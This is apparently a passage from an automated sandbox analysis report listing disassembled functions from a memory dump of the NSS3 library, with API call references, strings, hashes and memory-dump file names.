PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?), ref: 6C642CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?), ref: 6C642D4D
EnterCriticalSection.KERNEL32(?), ref: 6C642D61
PL_HashTableLookup.NSS3(?,?), ref: 6C642D71
PR_Unlock.NSS3(?), ref: 6C642D7E

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

#?dl, xrefs: 6C642C43

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?dl
API String ID: 2446853827-4183948977
Opcode ID: 96028d91d0dbf7a6255069715693b6281b11372be9adf9a8c760416a1ad23697
Instruction ID: 1476a42aebf487dbfd45da662114047c5f650adf7e9545efac009f568f554e8f
Opcode Fuzzy Hash: 96028d91d0dbf7a6255069715693b6281b11372be9adf9a8c760416a1ad23697
Instruction Fuzzy Hash: 7E5103B6D00214ABDB019F24DC449AAB7B8FF0A349B14C570ED18D7B11EB31E964CBE9

Function 6C69AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69ADB1

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C69ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C69AE08

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C69AE25
PL_FreeArenaPool.NSS3 ref: 6C69AE63
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C69AE4D

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69AE93
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C69AECC
PL_FreeArenaPool.NSS3 ref: 6C69AEDE
PL_FinishArenaPool.NSS3 ref: 6C69AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69AEF5
PL_FinishArenaPool.NSS3 ref: 6C69AF16

Strings

security, xrefs: 6C69ADEE

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: c34e4f54c95a379de8dbdf984c56f4433f06da5183030f1b864d6e52dfbf823f
Instruction ID: 1a5c81b02071cf1d5ac1bab5a500f98333ee4a25f86a97a66cf371ae2b649e58
Opcode Fuzzy Hash: c34e4f54c95a379de8dbdf984c56f4433f06da5183030f1b864d6e52dfbf823f
Instruction Fuzzy Hash: 714128B1C05311A7EB214A259C44BBF32E4AF4231CF200525E91592B43FB39DA0AC6EF

Function 6C73AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E9890: TlsGetValue.KERNEL32(?,?,?,6C6E97EB), ref: 6C6E989E

EnterCriticalSection.KERNEL32(?), ref: 6C73AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C73AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C73AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C73AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C73B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B070
PR_JoinThread.NSS3(?), ref: 6C73B07B
free.MOZGLUE(?), ref: 6C73B084
EnterCriticalSection.KERNEL32(?), ref: 6C73B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B0C4
PR_JoinThread.NSS3(?), ref: 6C73B0F3
free.MOZGLUE(?), ref: 6C73B0FC
PR_JoinThread.NSS3(?), ref: 6C73B137
free.MOZGLUE(?), ref: 6C73B140

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 425b32894f432776b37063f0e4958161acd19f38e120eb553e331e49c04ffa65
Instruction ID: 264ef25e6b1655ae0746985c03d917b1b5bad556ee434edc104dc35ee355ba55
Opcode Fuzzy Hash: 425b32894f432776b37063f0e4958161acd19f38e120eb553e331e49c04ffa65
Instruction Fuzzy Hash: 47918CB6901A11CFCB00DF14C98489ABBF1FF4935872985A9D81D5BB22E732FC46CB94

Function 6C6B5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2BF0
Part of subcall function 6C6B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C07
Part of subcall function 6C6B2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C1E
Part of subcall function 6C6B2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C4A

free.MOZGLUE(?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D0F
free.MOZGLUE(?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D4E
free.MOZGLUE(?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D62
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D85
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D99
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E47
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5F4B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e2c39e91c28d2ae9d9dbdfcaf2a76877b57918de2b2b5ac64723033fc56fa2dc
Instruction ID: cf9b1ae4791eb5d67b08cb61a5292a6fc55d4b13eb1629a12c526b3a365f566e
Opcode Fuzzy Hash: e2c39e91c28d2ae9d9dbdfcaf2a76877b57918de2b2b5ac64723033fc56fa2dc
Instruction Fuzzy Hash: 90719EB4A00B009FD701CF24D884A92B7F5BF89309F148539E81E97711E731F966CB99

Function 6C638DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C638E22
EnterCriticalSection.KERNEL32(?), ref: 6C638E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C638E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C638E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C638E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C638EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C638EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C638EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F00
free.MOZGLUE(?), ref: 6C638F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C638F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F5B
PR_Unlock.NSS3(?), ref: 6C638F72
PR_Unlock.NSS3(?), ref: 6C638F82

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 70d930334654d2f7ba8456b9ecd3bbfb2adf43a43f5d0e574fea9cc67625bbb7
Instruction ID: 33facaef7561eb2c3cf3e91fa7663e21a3b6a049016f22caab9538ac9cde4d46
Opcode Fuzzy Hash: 70d930334654d2f7ba8456b9ecd3bbfb2adf43a43f5d0e574fea9cc67625bbb7
Instruction Fuzzy Hash: A7513BB2D002259FD7018F68CC489EAB7B9EF49358B15612AEC0CDB750E731ED4587E5

Function 6C730FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C731000

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C731016

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_Unlock.NSS3(?), ref: 6C731021

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C731046
PR_Unlock.NSS3(?), ref: 6C73106B
PR_Lock.NSS3 ref: 6C731079
PR_Unlock.NSS3 ref: 6C731096
free.MOZGLUE(?), ref: 6C7310A7
free.MOZGLUE(?), ref: 6C7310B4
PR_DestroyCondVar.NSS3(?), ref: 6C7310BF
PR_DestroyCondVar.NSS3(?), ref: 6C7310CA
PR_DestroyCondVar.NSS3(?), ref: 6C7310D5
PR_DestroyCondVar.NSS3(?), ref: 6C7310E0
PR_DestroyLock.NSS3(?), ref: 6C7310EB
free.MOZGLUE(?), ref: 6C731105

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: c386843dbbc04251b32777554c15384e4f67faff9e9fc42e19f31c6f8d0c615a
Instruction ID: 87caedbcce4edfb26fccdbfc318df2eae2b74a261916b8256b88e07b0d647835
Opcode Fuzzy Hash: c386843dbbc04251b32777554c15384e4f67faff9e9fc42e19f31c6f8d0c615a
Instruction Fuzzy Hash: B9318AF5E05411ABDB01AF14ED41A85B7B1FF06319B184131E80902F62E732F978DBDA

Function 6C5ADC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5ADD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5ADD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5ADE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5ADEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5ADECD

Strings

%s at line %d of [%.10s], xrefs: 6C5ADF7C, 6C5ADFEC
database corruption, xrefs: 6C5ADF77, 6C5ADFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5ADF6D, 6C5ADFCC, 6C5ADFDD

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 8de1b4e17dcee12da135345f7988b486f3e796fd9ca8e62b6169fe30cef892d4
Instruction ID: 86b152c22605dd4f1b1a16cede0d134e9c5b427ae3dcebfc08a2f7bebf5639aa
Opcode Fuzzy Hash: 8de1b4e17dcee12da135345f7988b486f3e796fd9ca8e62b6169fe30cef892d4
Instruction Fuzzy Hash: 76A1C4716042059FC710EF6ACC80A6FB7F5AF85308F15892DEC898BB51E730E956CBA1

Function 6C66EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C66EE0B

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C66EEE1

Part of subcall function 6C661D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C661D7E
Part of subcall function 6C661D50: EnterCriticalSection.KERNEL32(?), ref: 6C661D8E
Part of subcall function 6C661D50: PR_Unlock.NSS3(?), ref: 6C661DD3

TlsGetValue.KERNEL32 ref: 6C66EE51
EnterCriticalSection.KERNEL32(?), ref: 6C66EE65
PR_Unlock.NSS3(?), ref: 6C66EEA2
free.MOZGLUE(?), ref: 6C66EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C66EED0
PR_Unlock.NSS3(?), ref: 6C66EF48
free.MOZGLUE(?), ref: 6C66EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C66EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C66EFA4
free.MOZGLUE(?), ref: 6C66EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C66F055
free.MOZGLUE(?), ref: 6C66F060

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: c27203de4e95609ad0c79ebed2e08100e6c83c6d1c59fb046127e4d69e8622ad
Instruction ID: 2848b708a7f4aa60f23ed203d7477126bea1f37beb86a613d2e741c4d0d918aa
Opcode Fuzzy Hash: c27203de4e95609ad0c79ebed2e08100e6c83c6d1c59fb046127e4d69e8622ad
Instruction Fuzzy Hash: B9818171A00209ABDF01DF65DC45BDE7BB5FF49318F144024E909A3B11E731E925CBAA

Function 6C634CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C634D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C634D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C634DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C634E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C634E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C634E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C634E85
DER_Encode_Util.NSS3(?,?,6C7805A4,00000000), ref: 6C634EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C634F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C634F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C634F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C634F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C634F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C634FC8

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 47a40beb68c43dfefb49e619f98dc33965b73b8dbfdcfb0cfb39aab9dd1e030c
Instruction ID: 5400c9ff3b65266deae95cf8b6ba6fd5899c988db3adad38f9ef3239dd261c56
Opcode Fuzzy Hash: 47a40beb68c43dfefb49e619f98dc33965b73b8dbfdcfb0cfb39aab9dd1e030c
Instruction Fuzzy Hash: CC81A3719083119FE701CF24DC40B6ABBE4ABC5358F14A92DF95CCB640E772E905CB9A

Function 6C675C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C675C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C675CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C675CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C675D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C675D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C675E18
TlsGetValue.KERNEL32 ref: 6C675E5E
EnterCriticalSection.KERNEL32(?), ref: 6C675E72
PR_Unlock.NSS3(?), ref: 6C675E8B

Part of subcall function 6C66F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C66F854
Part of subcall function 6C66F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C66F868
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C66F882
Part of subcall function 6C66F820: free.MOZGLUE(04C483FF,?,?), ref: 6C66F889
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C66F8A4
Part of subcall function 6C66F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C66F8AB
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C66F8C9
Part of subcall function 6C66F820: free.MOZGLUE(280F10EC,?,?), ref: 6C66F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C675D3D
d, xrefs: 6C675C36

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 6450105c87a4d909b7b911676d7ae2dd7090f857e64fdabe23ad78ec108dc29d
Instruction ID: 80b5cac8e37edf18582333d6f0f26a8857dcbe238f0347bccdacbfedc995a74b
Opcode Fuzzy Hash: 6450105c87a4d909b7b911676d7ae2dd7090f857e64fdabe23ad78ec108dc29d
